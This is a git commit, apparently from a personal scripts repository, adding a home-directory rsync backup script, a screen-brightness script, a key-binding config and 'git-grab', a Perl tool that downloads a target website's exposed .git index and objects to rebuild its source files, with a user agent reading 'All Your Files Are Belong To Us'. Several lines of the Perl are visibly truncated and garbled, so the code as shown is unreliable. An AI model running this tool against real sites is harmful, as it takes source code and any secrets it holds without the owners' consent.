WIP scripts

This commit is contained in:
Abhay Rana 2015-06-19 14:41:32 +05:30
parent e176e8ab76
commit 21234cac05
4 changed files with 168 additions and 0 deletions

4
backup Executable file
View File

@ -0,0 +1,4 @@
#!/bin/bash
cd ~
shopt -s dotglob
rsync --links --exclude-from ~/.rsync-exclude.txt -avz --progress ./ /media/nemo/Nemo_Backup/

26
brightness.sh Executable file
View File

@ -0,0 +1,26 @@
#!/bin/bash
# base dir for backlight class
basedir="/sys/class/backlight/"
# get the backlight handler
handler=$basedir$(ls $basedir)"/"
# get current brightness
old_brightness=$(cat $handler"brightness")
# get max brightness
max_brightness=$(cat $handler"max_brightness")
# get current brightness %
old_brightness_p=$(( 100 * $old_brightness / $max_brightness ))
# calculate new brightness %
new_brightness_p=$(($old_brightness_p $1))
# calculate new brightness value
new_brightness=$(( $max_brightness * $new_brightness_p / 100 ))
# set the new brightness value
sudo chmod 666 $handler"brightness"
echo $new_brightness > $handler"brightness"

6
caps_lock.cfg Normal file
View File

@ -0,0 +1,6 @@
# Assign program names to key bindings
# Should be understood by xdotool key command
chrome="ctrl+l"
linuxdcpp="ctrl+l"
sublime_text="ctrl+Tab"
sublime_text_double_tap="space"

132
git-grab Executable file
View File

@ -0,0 +1,132 @@
#!/usr/bin/perl
use strict;
use File::Path qw(make_path);
use LWP::UserAgent;
use File::Temp qw(tempfile tempdir);
use Compress::Zlib qw(uncompress);
sub readtime
{
my ($handle, $hashref) = @_;
read $handle, my $rawtime, 8;
( $hashref->{'lsb32'},
$hashref->{'nsec'} ) = unpack "NN", $rawtime;
return $hashref;
}
sub readindex
{
my ($infile) = @_;
my $packindex;
# read the header
read $infile, my $rawheader, 12;
my $header = {};
($header->{'ident'}, $header->{'version'}, $header->{'entries'})
= unpack("a4NN", $rawheader);
die "Not a git index file" if ($header->{'ident'} ne "DIRC");
die "Unsupported version of git index" if ($header->{'version'} != 2);
my @index_entries = ();
for (my $i=0; $i{'entries'}; $i++)
{
my $statinfo = {};
my $entry = {};
my $rawdata;
my %ctime = ();
my %mtime = ();
$statinfo->{'ctime'}=readtime($infile, \%ctime);
$statinfo->{'mtime'}=readtime($infile, \%ctime);
# read the non-time fields
read $infile, $rawdata, 24;
( $statinfo->{'dev'}.
$statinfo->{'inode'}.
$statinfo->{'mode'}.
$statinfo->{'uid'}.
$statinfo->{'gid'}.
$statinfo->{'size'} ) = unpack "NNNNNN", $rawdata;
$entry->{'statinfo'}=$statinfo;
read $infile, $rawdata, 20;
( $entry->{'id'} ) = unpack "H*", $rawdata;
$packindex.=$rawdata;
read $infile, $rawdata, 2;
( $entry->{'flags'} ) = unpack "n", $rawdata;
# Finally read name - it's length is the lower 11 bits of flags
my $namelength=($entry->{'flags'} & 0x7ff)+1;
# Pad it up to a multiple of 4
read $infile, $rawdata, $namelength + (8 - (($namelength + 62) % 8)) %8;
($entry->{'name'}) = unpack "a" . ($namelength-1), $rawdata;
push(@index_entries, $entry);
}
return @index_entries;
}
# First grab the database file
my $target=$ARGV[0];
my $giturl="http://$ARGV[0]/.git/index";
my $ua=LWP::UserAgent->new;
print "Target is: $giturl\n";
$ua->agent("All Your Files Are Belong To Us/1.0");
my $request=HTTP::Request->new(GET => $giturl);
my $result=$ua->request($request);
if ($result->status_line !~ /^200/)
{
die "Could not find Git index file";
}
my ($dbfileh, $dbfilen) = tempfile();
print $dbfileh $result->content;
close $dbfileh;
open(my $infile, "{'id'},0,2);
my $resthash=substr($entry->{'id'},2);
my $file=".git/objects/" . $firsttwo . "/" . $resthash;
my $rawdata;
my $decompressed;
my $oh;
print "Extracting " . $entry->{'name'} . "\n";
my $giturl="http://$server/$file";
my $frequest=HTTP::Request->new(GET => $giturl);
my $fresult=$ua->request($frequest);
$rawdata=$fresult->content;
# Make sure the path is there for the output
my $outputpath="output/" . $entry->{'name'};
$outputpath =~ s#/[^/]*$##g;
make_path($outputpath);
open $oh, ">", "output/$entry->{'name'}";
# Now decompress the data
$decompressed=uncompress($rawdata);
my $gitfile={};
($gitfile->{'type'}) = substr($decompressed,0,5);
if ($gitfile->{'type'} ne "blob ")
{
print "Unknown git file type: $gitfile->{'type'}. Skipping\n";
next;
}
($gitfile->{'size'}) = unpack "Z*", substr($decompressed,5);
($gitfile->{'data'}) = substr($decompressed,length($gitfile->{'size'})+6);
# And write it
print $oh $gitfile->{'data'};
close($oh);
}